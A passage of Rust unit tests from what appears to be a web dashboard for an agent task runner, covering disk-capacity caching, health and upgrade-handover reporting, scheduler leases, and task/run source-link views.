25497            .worker_started
25498            .store(true, std::sync::atomic::Ordering::SeqCst);
25499        let cfg = deputy_config(&ui.repo);
25500        let scope = DiskScope::of(&ui, cfg.as_ref());
25501        let (started, reached) = tokio::sync::oneshot::channel();
25502        let (release, blocked) = std::sync::mpsc::channel();
25503        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25504            started.send(()).unwrap();
25505            // A failed request assertion must also let the blocking worker exit.
25506            let _ = blocked.recv();
25507            known_disk_capacity()
25508        });
25509        assert!(cold.runs_bytes.is_none());
25510        tokio::time::timeout(Duration::from_secs(5), reached)
25511            .await
25512            .unwrap()
25513            .unwrap();
25514
25515        let requests: Vec<_> = (0..4)
25516            .map(|_| {
25517                let ui = ui.clone();
25518                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25519            })
25520            .collect();
25521        // This is a causal independence check, not a five-second latency
25522        // benchmark. Leave room for unrelated filesystem/thread contention
25523        // when the entire unit suite runs concurrently.
25524        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25525            for request in requests {
25526                let view = request.await.unwrap();
25527                let disk = serde_json::to_value(view.disk).unwrap();
25528                assert!(disk["runs_bytes"].is_null());
25529                assert!(disk["worktrees_bytes"].is_null());
25530                // Free space is a cheap live observation even while the
25531                // recursive capacity measurement remains blocked.
25532                assert!(disk["free_bytes"].is_u64());
25533            }
25534        })
25535        .await;
25536        if completed.is_err() {
25537            release.send(()).unwrap();
25538            wait_for_disk_scan(&ui.monitor.disk).await;
25539            panic!("health must return while the measurement is causally blocked");
25540        }
25541        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25542        // No competing worker can have published while the first holds flight.
25543        assert!(
25544            ui.monitor
25545                .disk
25546                .lock()
25547                .unwrap()
25548                .capacity
25549                .runs_bytes
25550                .is_none()
25551        );
25552        release.send(()).unwrap();
25553        wait_for_disk_scan(&ui.monitor.disk).await;
25554        assert_eq!(
25555            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25556            Some(200)
25557        );
25558    }
25559
25560    #[tokio::test]
25561    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25562        let home = TempDir::new().unwrap();
25563        let scope = disk_test_scope(home.path());
25564        let state = Arc::new(Mutex::new(DiskObservation {
25565            scope: Some(scope.clone()),
25566            capacity: known_disk_capacity(),
25567            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25568            ..Default::default()
25569        }));
25570        let (started, reached) = tokio::sync::oneshot::channel();
25571        let (release, blocked) = std::sync::mpsc::channel();
25572        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25573            started.send(()).unwrap();
25574            blocked.recv().unwrap();
25575            DiskCapacity {
25576                runs_bytes: Some(250),
25577                ..Default::default()
25578            }
25579        });
25580        assert_eq!(before.cache_bytes, Some(400));
25581        tokio::time::timeout(Duration::from_secs(5), reached)
25582            .await
25583            .unwrap()
25584            .unwrap();
25585        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25586        for _ in 0..4 {
25587            let scans = duplicate_scans.clone();
25588            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25589                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25590                DiskCapacity::default()
25591            });
25592            assert_eq!(during.runs_bytes, Some(200));
25593            assert_eq!(during.cache_bytes, Some(400));
25594        }
25595        release.send(()).unwrap();
25596        wait_for_disk_scan(&state).await;
25597        let scans = duplicate_scans.clone();
25598        let after = DiskObservation::observe(&state, scope, move |_| {
25599            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25600            DiskCapacity::default()
25601        });
25602        wait_for_disk_scan(&state).await;
25603        assert_eq!(after.runs_bytes, Some(250));
25604        assert_eq!(after.free_bytes, Some(100));
25605        assert_eq!(after.cache_bytes, Some(400));
25606        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25607        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25608    }
25609
25610    #[tokio::test]
25611    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25612        let home = TempDir::new().unwrap();
25613        let old_scope = disk_test_scope(home.path());
25614        let mut new_scope = old_scope.clone();
25615        new_scope.cache = Some(home.path().join("replacement-cache"));
25616        let state = Arc::new(Mutex::new(DiskObservation {
25617            scope: Some(old_scope.clone()),
25618            capacity: known_disk_capacity(),
25619            ..Default::default()
25620        }));
25621        let (started, reached) = tokio::sync::oneshot::channel();
25622        let (release, blocked) = std::sync::mpsc::channel();
25623        DiskObservation::observe(&state, old_scope, move |_| {
25624            started.send(()).unwrap();
25625            blocked.recv().unwrap();
25626            known_disk_capacity()
25627        });
25628        tokio::time::timeout(Duration::from_secs(5), reached)
25629            .await
25630            .unwrap()
25631            .unwrap();
25632        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25633        let scans = duplicate_scans.clone();
25634        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25635            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25636            DiskCapacity::default()
25637        });
25638        assert!(changed.cache_bytes.is_none());
25639        assert!(changed.runs_bytes.is_none());
25640        release.send(()).unwrap();
25641        wait_for_disk_scan(&state).await;
25642        {
25643            let observation = state.lock().unwrap();
25644            assert!(observation.capacity.cache_bytes.is_none());
25645            assert!(observation.finished.is_none());
25646        }
25647        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25648            assert_eq!(scope, &new_scope);
25649            DiskCapacity {
25650                cache_bytes: Some(999),
25651                ..Default::default()
25652            }
25653        });
25654        wait_for_disk_scan(&state).await;
25655        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25656        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25657    }
25658
25659    #[tokio::test]
25660    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25661        let home = TempDir::new().unwrap();
25662        let scope = disk_test_scope(home.path());
25663        let state = Arc::new(Mutex::new(DiskObservation {
25664            scope: Some(scope.clone()),
25665            capacity: known_disk_capacity(),
25666            ..Default::default()
25667        }));
25668        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25669        wait_for_disk_scan(&state).await;
25670        {
25671            let mut observation = state.lock().unwrap();
25672            assert_eq!(observation.capacity.cache_bytes, Some(400));
25673            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25674            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25675        }
25676        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25677            cache_bytes: Some(450),
25678            ..Default::default()
25679        });
25680        wait_for_disk_scan(&state).await;
25681        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25682    }
25683
25684    #[test]
25685    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25686        let home = TempDir::new().unwrap();
25687        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25688        assert_eq!(disk_capacity_size(home.path()), Some(0));
25689        std::fs::create_dir(home.path().join("nested")).unwrap();
25690        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25691        assert_eq!(disk_capacity_size(home.path()), Some(5));
25692        #[cfg(unix)]
25693        {
25694            // Unix distinguishes an invalid descendant lookup from absence.
25695            assert_eq!(
25696                disk_capacity_size(&home.path().join("nested/data/child")),
25697                None
25698            );
25699        }
25700        #[cfg(unix)]
25701        {
25702            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25703            assert_eq!(disk_capacity_size(home.path()), Some(5));
25704        }
25705    }
25706
25707    #[tokio::test]
25708    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25709        // `mode = "off"` for the same reason as the test above: a default
25710        // fixture repo falls back to `mode = "notify"`, which would make this
25711        // route's new `update` field a live, unauthenticated GitHub call on
25712        // every assertion in this suite that happens to hit `/api/health`.
25713        let repo = TempDir::new().expect("repo dir");
25714        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25715            .expect("write magi.toml");
25716        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25717
25718        let health = fx.get("/api/health").await.json();
25719        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25720        assert_eq!(
25721            health["update"]["available"], false,
25722            "checking is off, which reads as \"unknown\", not \"none\""
25723        );
25724        assert!(health["update"]["to"].is_null());
25725        assert!(
25726            health["upgrade"].is_null(),
25727            "nothing has ever asked this deck to upgrade"
25728        );
25729    }
25730
25731    #[tokio::test]
25732    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25733        let fx = Fixture::start().await;
25734        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25735
25736        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25737        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25738        progress.advance(crate::updater::Stage::Parking);
25739        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25740
25741        let health = fx.get("/api/health").await.json();
25742        assert_eq!(health["upgrade"]["stage"], "parking");
25743        assert_eq!(health["upgrade"]["from"], "0.5.1");
25744        assert_eq!(health["upgrade"]["to"], "0.5.2");
25745        let waiting_on = health["upgrade"]["waiting_on"]
25746            .as_str()
25747            .expect("waiting_on is set while parking a known run");
25748        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25749        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25750    }
25751
25752    #[tokio::test]
25753    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25754        let fx = Fixture::start().await;
25755        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25756        progress.advance(crate::updater::Stage::Done);
25757        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25758
25759        let health = fx.get("/api/health").await.json();
25760        assert_eq!(health["upgrade"]["stage"], "done");
25761        assert!(
25762            health["upgrade"]["waiting_on"].is_null(),
25763            "nothing to wait on once it is done"
25764        );
25765    }
25766
25767    /// The handover signal is seen however the race falls, and wakes its one
25768    /// waiter once per signal - nothing here can spin.
25769    #[tokio::test]
25770    async fn the_handover_signal_wakes_one_waiter_once() {
25771        let signal = Notify::new();
25772        // Signalled before anyone waits: the stored permit is not lost.
25773        signal.notify_one();
25774        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25775            .await
25776            .expect("an early signal is still seen");
25777        // One signal, one wake-up: a second wait does not resolve by itself.
25778        assert!(
25779            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25780                .await
25781                .is_err(),
25782            "a consumed signal must not wake a second time"
25783        );
25784        // Signalled while waiting.
25785        let signal = std::sync::Arc::new(signal);
25786        let waiter = tokio::spawn({
25787            let signal = std::sync::Arc::clone(&signal);
25788            async move { wait_for_handover(&signal).await }
25789        });
25790        tokio::time::sleep(Duration::from_millis(20)).await;
25791        assert!(!waiter.is_finished(), "nothing was signalled yet");
25792        signal.notify_one();
25793        tokio::time::timeout(Duration::from_secs(5), waiter)
25794            .await
25795            .expect("a late signal wakes the waiter")
25796            .expect("join");
25797    }
25798
25799    #[tokio::test]
25800    async fn health_says_how_long_a_handover_has_been_stuck() {
25801        let fx = Fixture::start().await;
25802        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25803        progress.advance(crate::updater::Stage::Replaced);
25804        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25805        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25806
25807        let health = fx.get("/api/health").await.json();
25808        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25809        assert!(stuck >= 600, "{stuck}");
25810        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25811        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25812    }
25813
25814    #[tokio::test]
25815    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25816        let home = tempfile::tempdir().expect("temp home");
25817        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25818        progress.advance(crate::updater::Stage::Parking);
25819        crate::updater::write_progress(home.path(), &progress).expect("seed");
25820        // What the second upgrade_and_restart and its handler do.
25821        let mut again = progress.clone();
25822        again.advance(crate::updater::Stage::Replaced);
25823        crate::updater::write_progress(home.path(), &again).expect("replaced");
25824        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25825        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25826        let after = crate::updater::read_progress(home.path()).expect("record");
25827        assert_eq!(after.stage, crate::updater::Stage::Parking);
25828    }
25829
25830    #[tokio::test]
25831    async fn health_does_not_call_a_live_parking_wait_stuck() {
25832        let fx = Fixture::start().await;
25833        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25834        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25835        progress.advance(crate::updater::Stage::Parking);
25836        let hours = Duration::from_secs(3 * 3600);
25837        progress.started_at = Timestamp::now() - hours;
25838        progress.updated_at = Timestamp::now() - hours;
25839        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25840        let _lease = crate::updater::LeaseGuard::enter(
25841            fx.home.path(),
25842            Some("20260905-000000-cd51".to_owned()),
25843        );
25844
25845        let health = fx.get("/api/health").await.json();
25846        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25847        assert!(health["upgrade"]["stuck_kind"].is_null());
25848        assert_eq!(health["upgrade"]["handover_alive"], true);
25849        let waiting_on = health["upgrade"]["waiting_on"]
25850            .as_str()
25851            .expect("waiting_on");
25852        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25853    }
25854
25855    fn idle_ui(home: &TempDir) -> Ui {
25856        let runs = home.path().join("runs");
25857        std::fs::create_dir_all(&runs).expect("runs dir");
25858        Ui::new(
25859            Queue::at(home.path().join("queue")),
25860            Questions::at(home.path().join("questions")),
25861            Talks::at(home.path().join("talks")),
25862            runs,
25863            home.path().to_path_buf(),
25864            PathBuf::from("/repo/magi"),
25865        )
25866        .with_launch(launch_idle)
25867    }
25868
25869    #[tokio::test]
25870    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25871        let home = TempDir::new().expect("temp home");
25872        let ui = idle_ui(&home);
25873        let lease = crate::worker::try_lease(home.path(), "scheduler")
25874            .expect("scheduler lease")
25875            .expect("free");
25876        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25877            .expect("request stop");
25878        let error = ui
25879            .start_detached_loop()
25880            .await
25881            .expect_err("transition is still live");
25882        assert_eq!(error.status, StatusCode::CONFLICT);
25883        assert!(error.message.contains("still running or stopping"));
25884        assert_eq!(
25885            crate::worker::control(home.path(), "scheduler").unwrap(),
25886            Some(crate::worker::Control::Stop)
25887        );
25888        drop(lease);
25889    }
25890
25891    #[tokio::test]
25892    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25893        let home = TempDir::new().expect("temp home");
25894        let ui = idle_ui(&home);
25895        let turns = ui
25896            .begin_talk_turn("active-chat")
25897            .expect("claim")
25898            .expect("free");
25899        let execution = crate::worker::try_lease(home.path(), "active-task")
25900            .expect("execution lease")
25901            .expect("free");
25902        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25903            .await
25904            .expect("bind loopback");
25905        let address = listener.local_addr().expect("address");
25906        let admissions = Arc::clone(&ui.admissions);
25907        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25908        let successor_started = std::sync::atomic::AtomicBool::new(false);
25909        tokio::time::timeout(
25910            Duration::from_secs(2),
25911            hand_over(home.path(), &admissions, served, || {
25912                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25913                Ok(1)
25914            }),
25915        )
25916        .await
25917        .expect("restart must not wait for execution")
25918        .expect("handover");
25919        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25920        // BSD may retain the address briefly after listener release. The real
25921        // successor uses the same bounded bind retry rather than a one-shot bind.
25922        let successor = bind_waiting(address)
25923            .await
25924            .expect("successor binds released address");
25925        assert_eq!(successor.local_addr().unwrap(), address);
25926        assert!(turns.owns(), "the chat lease survives restart");
25927        assert!(
25928            crate::worker::try_lease(home.path(), "active-task")
25929                .unwrap()
25930                .is_none()
25931        );
25932        drop(execution);
25933        drop(turns);
25934    }
25935
25936    #[tokio::test]
25937    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25938        let home = TempDir::new().expect("temp home");
25939        let ui = idle_ui(&home);
25940        let admission = ui.begin_admission().expect("admit send");
25941        let turn = ui
25942            .begin_talk_turn("active-chat")
25943            .expect("claim")
25944            .expect("free");
25945        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25946            .await
25947            .expect("bind loopback");
25948        let address = listener.local_addr().expect("address");
25949        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25950        let successor_called = std::sync::atomic::AtomicBool::new(false);
25951        let handover = hand_over(home.path(), &ui.admissions, served, || {
25952            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25953            Ok(1)
25954        });
25955        tokio::pin!(handover);
25956        // Poll exactly to the writer waiting on our admission guard. This
25957        // pins the race without sleeps or assumptions about task scheduling.
25958        std::future::poll_fn(|cx| {
25959            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25960            std::task::Poll::Ready(())
25961        })
25962        .await;
25963        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25964        assert!(
25965            ui.begin_admission().is_err(),
25966            "new ingress cannot race the drain"
25967        );
25968        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25969        drop(admission);
25970        tokio::time::timeout(Duration::from_secs(2), handover)
25971            .await
25972            .expect("only publication may delay restart")
25973            .expect("handover");
25974        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25975        assert!(
25976            turn.owns(),
25977            "the detached chat turn is not awaited or cancelled"
25978        );
25979        assert!(
25980            ui.begin_admission().is_err(),
25981            "old accepted connections stay closed"
25982        );
25983        drop(turn);
25984    }
25985
25986    #[test]
25987    fn health_worker_metadata_never_contains_payload_or_result() {
25988        let view = WorkerView::from(crate::worker::Job {
25989            id: "job".into(),
25990            sequence: 1,
25991            kind: "service".into(),
25992            key: "maintenance".into(),
25993            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25994            generation: "generation".into(),
25995            version: Some("1.2.3".into()),
25996            status: crate::worker::Status::Running,
25997            result: Some("private diagnostics".into()),
25998            pid: Some(4242),
25999            created_at: 1,
26000            finished_at: None,
26001        });
26002        let value = serde_json::to_value(view).expect("serialize public metadata");
26003        assert_eq!(value["version"], "1.2.3");
26004        assert_eq!(value["pid"], 4242);
26005        assert!(value.get("payload").is_none());
26006        assert!(value.get("result").is_none());
26007        assert!(!value.to_string().contains("private"));
26008    }
26009
26010    #[test]
26011    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
26012        let home = TempDir::new().expect("temp home");
26013        let ui = idle_ui(&home);
26014        std::fs::write(
26015            home.path().join("daemon.json"),
26016            serde_json::json!({
26017                "schema": 2, "pid": 4242, "worker_protocol": 1,
26018                "updated_at": Timestamp::now().to_string(), "idle": true,
26019            })
26020            .to_string(),
26021        )
26022        .expect("status");
26023        let reading = daemon::read_status(home.path());
26024        assert!(Foreign::of(reading.as_ref()).is_none());
26025        let view = ui.runtime_loop_view(reading, &[]);
26026        assert!(view.running);
26027        assert!(view.owned);
26028    }
26029
26030    #[test]
26031    fn only_an_explicit_one_requests_a_resume() {
26032        assert!(!resume_requested(None));
26033        assert!(!resume_requested(Some("0".into())));
26034        assert!(!resume_requested(Some("".into())));
26035        assert!(resume_requested(Some("1".into())));
26036    }
26037
26038    #[test]
26039    fn an_error_is_visible_from_where_the_button_is() {
26040        // The alert used to sit in the flow under the header. On a phone
26041        // scrolled 13 500 px down to a run's action sheet that is off screen,
26042        // so tapping Resume and being told "the loop is running run b455
26043        // right now" looked exactly like a button that did nothing.
26044        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
26045            ..APP_CSS.find(".alert-text").expect(".alert-text")];
26046        assert!(
26047            alert.contains("position: fixed"),
26048            "an error about the thing under your thumb has to be visible from \
26049             where your thumb is: {alert}"
26050        );
26051        assert!(
26052            alert.contains("z-index: 25"),
26053            "above the dock (20) and the run-actions FAB (15), so neither \
26054             buries it: {alert}"
26055        );
26056        assert!(
26057            alert.contains("var(--tap)"),
26058            "and clear of the dock and the home indicator: {alert}"
26059        );
26060        // The FAB sits at the same height on the right. An error that covered
26061        // it would hide the button the operator reaches for next.
26062        assert!(
26063            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26064            "the FAB's column stays free: {alert}"
26065        );
26066    }
26067
26068    #[tokio::test]
26069    async fn an_older_attempt_says_what_replaced_it() {
26070        let fx = Fixture::start().await;
26071        let q = fx.queue();
26072        let runs = fx.runs();
26073        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26074        write_run(&runs, first, RunStatus::Stalled);
26075        write_run(&runs, second, RunStatus::Blocked);
26076
26077        let mut t = Task::new(
26078            "one task".to_owned(),
26079            "do it".to_owned(),
26080            PathBuf::from("/repo"),
26081            Source::Human,
26082        );
26083        t.runs = vec![first.to_owned(), second.to_owned()];
26084        q.put(&mut t).expect("put");
26085
26086        // Two cards with the same title and no hint which is which was the
26087        // question: "why are there two of the same, one stalled and one
26088        // blocked?" The older one now names its replacement.
26089        let rows = fx.get("/api/runs").await.json();
26090        let by = |short: &str| -> Value {
26091            rows.as_array()
26092                .unwrap()
26093                .iter()
26094                .find(|r| r["short"] == short)
26095                .cloned()
26096                .unwrap_or(Value::Null)
26097        };
26098        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26099        assert!(
26100            by("bbbb")["superseded_by"].is_null(),
26101            "the latest attempt is not superseded by anything"
26102        );
26103        // Front end: the note has to be rendered, not just carried.
26104        assert!(APP_JS.contains("run.superseded_by"));
26105        assert!(APP_JS.contains("Superseded by"));
26106    }
26107
26108    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26109        let mut t = Task::new(
26110            "one task".to_owned(),
26111            "do it".to_owned(),
26112            PathBuf::from("/repo"),
26113            Source::Human,
26114        );
26115        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26116        t.status = status;
26117        t
26118    }
26119
26120    #[test]
26121    fn source_link_picks_the_page_that_filed_the_task() {
26122        let agent = |node: &str| Source::Agent {
26123            run: "20260904-014455-ab12".to_owned(),
26124            node: node.to_owned(),
26125        };
26126        let chat = source_link(&agent("chat")).expect("chat link");
26127        assert_eq!(chat.kind, "chat");
26128        assert_eq!(chat.id, "20260904-014455-ab12");
26129        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26130        let run = source_link(&agent("implement")).expect("run link");
26131        assert_eq!(
26132            (run.kind, run.href.as_str()),
26133            ("run", "#/runs/20260904-014455-ab12")
26134        );
26135        assert_eq!(source_link(&Source::Human), None);
26136        assert_eq!(
26137            source_link(&Source::Issue {
26138                number: 3,
26139                repo: "o/r".to_owned()
26140            }),
26141            None
26142        );
26143        let odd = source_link(&Source::Agent {
26144            run: "a b/c".to_owned(),
26145            node: "chat".to_owned(),
26146        })
26147        .expect("link");
26148        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26149    }
26150
26151    #[test]
26152    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26153        assert!(
26154            !APP_JS.contains("src.node === \"chat\""),
26155            "inline href rule is back"
26156        );
26157        assert!(
26158            APP_JS.matches("sourceLinkOf(").count() >= 4,
26159            "helper must serve every page"
26160        );
26161        assert!(
26162            APP_JS.matches("openChatLink(").count() >= 3,
26163            "the run page still needs its explicit chat link"
26164        );
26165        assert!(
26166            !APP_JS.contains("const openChat = el("),
26167            "the Queue card duplicates its source label link again"
26168        );
26169        assert!(
26170            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26171            "the task page must link a chat source label too"
26172        );
26173    }
26174
26175    #[test]
26176    fn task_ref_carries_the_source_link_for_a_chat_task() {
26177        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26178        t.source = Source::Agent {
26179            run: "20260904-014455-ab12".to_owned(),
26180            node: "chat".to_owned(),
26181        };
26182        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26183        let v = serde_json::to_value(&out).expect("json");
26184        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26185        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26186        assert_eq!(v["source_label"], t.source.label());
26187
26188        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26189        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26190            .expect("json");
26191        assert!(v["source_link"].is_null(), "{v}");
26192    }
26193
26194    #[test]
26195    fn task_view_serializes_source_link() {
26196        let mut t = Task::new(
26197            "t".to_owned(),
26198            "t".to_owned(),
26199            PathBuf::from("/repo"),
26200            Source::Agent {
26201                run: "20260901-000000-aaaa".to_owned(),
26202                node: "implement".to_owned(),
26203            },
26204        );
26205        t.runs.clear();
26206        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26207        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26208        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26209    }
26210
26211    #[test]
26212    fn task_view_serializes_urgent_flag() {
26213        let mut t = Task::new(
26214            "t".to_owned(),
26215            "t".to_owned(),
26216            PathBuf::from("/repo"),
26217            Source::Human,
26218        );
26219        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26220        assert_eq!(v["urgent"], false, "{v}");
26221        t.urgent = true;
26222        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26223        assert_eq!(v["urgent"], true, "{v}");
26224        assert!(APP_JS.contains("task.urgent === true"));
26225    }
26226
26227    #[test]
26228    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26229        let mut t = Task::new(
26230            "t".to_owned(),
26231            "t".to_owned(),
26232            PathBuf::from("/repo"),
26233            Source::Human,
26234        );
26235        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26236        assert_eq!(v["immediate"], false, "{v}");
26237        t.immediate = true;
26238        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26239        assert_eq!(v["immediate"], true, "{v}");
26240        assert!(APP_JS.contains("task.immediate === true"));
26241        assert!(APP_JS.contains("/immediate"));
26242    }
26243
26244    #[tokio::test]
26245    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26246        let fx = Fixture::start().await;
26247        let runs = fx.runs();
26248        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26249        write_run(&runs, old, RunStatus::Blocked);
26250        write_run(&runs, new, RunStatus::Merged);
26251        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26252        fx.queue().put(&mut t).expect("put");
26253
26254        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26255        let task = &view["task"];
26256        assert_eq!(task["status"], "done");
26257        assert_eq!(task["is_latest"], false);
26258        assert_eq!(task["latest"]["short"], "bbbb");
26259        assert_eq!(task["finished_by"]["id"], new);
26260        assert_eq!(task["finished_by"]["outcome"], "merged");
26261        assert_eq!(task["closed_by_hand"], false);
26262        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26263        assert!(APP_JS.contains("finished_by"));
26264        assert!(APP_JS.contains("superseded by run"));
26265    }
26266
26267    #[tokio::test]
26268    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26269        let fx = Fixture::start().await;
26270        let runs = fx.runs();
26271        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26272        write_run(&runs, old, RunStatus::Stalled);
26273        write_run(&runs, new, RunStatus::Blocked);
26274        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26275        fx.queue().put(&mut t).expect("put");
26276
26277        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26278        assert_eq!(task["status"], "held");
26279        assert_eq!(task["is_latest"], true);
26280        assert!(task["latest"].is_null());
26281        assert!(task["finished_by"].is_null());
26282        assert_eq!(task["closed_by_hand"], false);
26283    }
26284
26285    #[tokio::test]
26286    async fn a_direct_run_has_no_task_outcome() {
26287        let fx = Fixture::start().await;
26288        let runs = fx.runs();
26289        let id = "20260901-000000-aaaa";
26290        write_run(&runs, id, RunStatus::Blocked);
26291        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26292        assert!(view["task"].is_null());
26293    }
26294
26295    #[test]
26296    fn task_outcome_does_not_guess_a_finishing_run() {
26297        let a = "20260901-000000-aaaa";
26298        let b = "20260901-000000-bbbb";
26299        let c = "20260901-000000-cccc";
26300        let dir = tempfile::tempdir().expect("tempdir");
26301        write_run(dir.path(), a, RunStatus::Blocked);
26302        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26303        // `c` has no record: unreadable.
26304        let read = |id: &str| read_run(dir.path(), id).ok();
26305        // Neither a blocked run nor a no-op finished the task; the newest run is
26306        // unreadable and still named.
26307        let t = outcome_task(&[a, b, c], TaskStatus::Done);
26308        let out = task_outcome(&t, a, 3, read);
26309        assert!(out.finished_by.is_none());
26310        assert!(out.closed_by_hand);
26311        let latest = out.latest.expect("latest");
26312        assert_eq!(latest.id, c);
26313        assert_eq!(latest.status, None);
26314        assert_eq!(latest.outcome, "record unreadable");
26315
26316        // A Ready run settles the task as done, so it is named as the finisher.
26317        write_run(dir.path(), c, RunStatus::Ready);
26318        let t = outcome_task(&[a, c], TaskStatus::Done);
26319        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26320        assert_eq!(out.finished_by.expect("finisher").id, c);
